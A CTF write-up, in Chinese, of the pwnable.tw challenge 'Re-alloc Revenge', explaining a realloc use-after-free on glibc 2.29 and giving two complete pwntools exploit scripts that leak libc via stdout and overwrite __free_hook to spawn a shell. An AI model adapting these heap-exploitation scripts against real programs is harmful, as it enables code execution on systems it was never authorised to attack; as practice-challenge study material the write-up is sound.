Re-alloc Revenge in pwnable.tw
Prologue
realloc-revenge是realloc那题的一个加强版，主要逻辑不变，在allocate里面的realloc变成了malloc，保护全开，依然是2.29的libc。最佳我做到的应该是1/16，只需要猜stdout的半个字节。
Tricks
漏洞点是realloc在设定size为0时执行free但是指针不清空所有有UAF有几个组合技巧。
本文的伪代码第一个参数为指针的idx，第二个参数为size，第三个参数是写入内容。
Modify Arbitrary Address
一共就两个可用指针，malloc最大0x78，想要控制任意地址就需要利用realloc的切割。
malloc(0,0x78)
realloc(0,0)
realloc(0,0x78,p64(Arbitrary Address))
malloc(1,0x78)
realloc(1,0x28)
free(1)
malloc(1,0x78,Paylaod)
Fill tcache
填满tcache需要6个chunk，要求是尽可能只用掉一个size的list，因为如果用切割那么会填满2个而我们后面还有为了清空指针切割两次的操作会用到 0x80→0x40*2→0x20*2。可以使用 realloc-expand来搞定。
for x in range(7):
add(0,0x28)
realloc(0,0x68)
free(0)
add(0,0x28)
realloc(0,0x68)
add(1,0x18)
free(0)
Edit
这个也不算什么组合。。就是正常的realloc为0之后realloc原来的大小就可以看成是edit了。
Solution
因为这题我走了些弯路所以有比较直接的1/256的做法和比较绕圈圈的1/16做法。先讲1/16的做法。
1/16
要想1/16所堆绝对不能猜，也就是不能用管理tcache的结构体。只能靠填满tcache然后用consolidate来获得一个smallbin。前文的Tricks中已经讲了如何填满tcache所以后面要做的是在menu等待输入的时候输入 '1'*0x400 就可以触发。之后比烦需要改两次，一次是把tcache劫持指向获得的smallbin，第二次是把smallbin用前面说到的 Modify Arbitrary Address 来partial write smallbin的fd(此处猜1/16)。接着IO_LEAK，之后控制free_hook+get shell，写了70多行。
from pwn import *
context.arch='amd64'
context.terminal=['tmux','split','-h']
def cmd(c):
p.sendlineafter("ice: ",str(c))
def add(idx,size,c="A"):
cmd(1)
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(size))
p.sendafter(":",c)
def realloc(idx,size,c="A"):
cmd(2)
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(size))
if(size>0):
p.sendafter(":",c)
def free(idx):
cmd(3)
p.sendlineafter(":",str(idx))
p=remote("chall.pwnable.tw",10310)
#p=process('./pwn')
try:
add(0,0x28)
free(0)
for x in range(6):
add(0,0x18)
realloc(0,0x78)
free(0)
add(0,0x18)
realloc(0,0x78)
add(1,0x18)
realloc(1,0x78)
free(1)
free(0)
cmd("1"*0x400)
add(0,0x78)
realloc(0,0)
realloc(0,0x28,b'\x90')
add(1,0x78)
realloc(1,0x28)
free(1)
add(1,0x58)
realloc(1,0x58,b'\x60\x37')
realloc(0,0x28,b'\0'*0x10)
free(0)
add(0,0x78)
realloc(0,0x28)
free(0)
add(0,0x78,p64(0xfbad1800)+b'\0'*0x18)
p.read(0x58)
base=u64(p.read(8))-(0x7ffff7fc1560-0x7ffff7ddb000)
log.warning(hex(base))
context.log_level='debug'
realloc(1,0x28,b'\0'*0x28)
free(1)
add(1,0x68)
realloc(1,0)
realloc(1,0x18)
free(1)
add(1,0x68,b'\0'*0x18+p64(0x71)+p64(0x1e75a8-8+base))
free(1)
add(1,0x48)
free(1)
add(1,0x48,b'/bin/sh\0'+p64(0x52fd0+base))
free(1)
p.interactive()
except Exception:
p.close()
1/256
这个方法比较容易想到，就是先猜1/16控制tcache的结构体，之后因为可以随意edit所以就可以随意把chunk放进unsortedbin之类的地方。之后再edit一次把目标获得+partial write，之后就可以IO_LEAK了，后面没什么区别思路也比较直接，不过需要1/256。
from pwn import *
context.arch='amd64'
context.terminal=['tmux','split','-h']
def cmd(c):
p.sendlineafter("ice: ",str(c))
def add(idx,size,c="A"):
cmd(1)
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(size))
p.sendafter(":",c)
def realloc(idx,size,c="A"):
cmd(2)
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(size))
if(size>0):
p.sendafter(":",c)
def free(idx):
cmd(3)
p.sendlineafter(":",str(idx))
#p=remote("chall.pwnable.tw",10310)
p=process('./pwn')
try:
add(0,0x38)
add(1,0x38)
free(1)
realloc(0,0)
realloc(0,0x38,'\x10\x90')
add(1,0x38)
realloc(1,0x18)
free(1)
add(1,0x38,'\0'*0x1d+'\xff'*0x1)
realloc(1,0x58,'\0')
realloc(0,0x18,'\0'*0x18)
free(0)
realloc(1,0x78,'\0'*0x60+'\x60\x37')
#gdb.attach(p)
add(0,0x58,p64(0x1800)+b'\0'*0x18)
context.log_level='debug'
p.read(0x58)
base=u64(p.read(8))-(0x7ffff7fc1560-0x7ffff7ddb000)
log.warning(hex(base))
realloc(1,0x78,b'\0'*0x60+p64(base+0x1e75a8-8))
free(1)
add(1,0x58,b'/bin/sh\0'+p64(0x52fd0+base))
free(1)
p.interactive()
except Exception:
p.close
Epilogue
这题过程中我发现了我之前一直认识错误的东西，我以为IO LEAK需要1/4096的概率（因为我3年前第一次做的时候关了aslr导致以为要写一个字节，后面就定式思维了），其实main_arena后面不远处就是stdout，所以有些情况下不需要多写那个字节，前面说的1/16还有1/256也不是严格的，因为load的地址随机化也有影响：具体是需要乘上系数 7/16，因为 unsorted pointer 的offset是0x1e4ca0 而stdout的offset是0x1e5760。
发现自己傻逼了3年。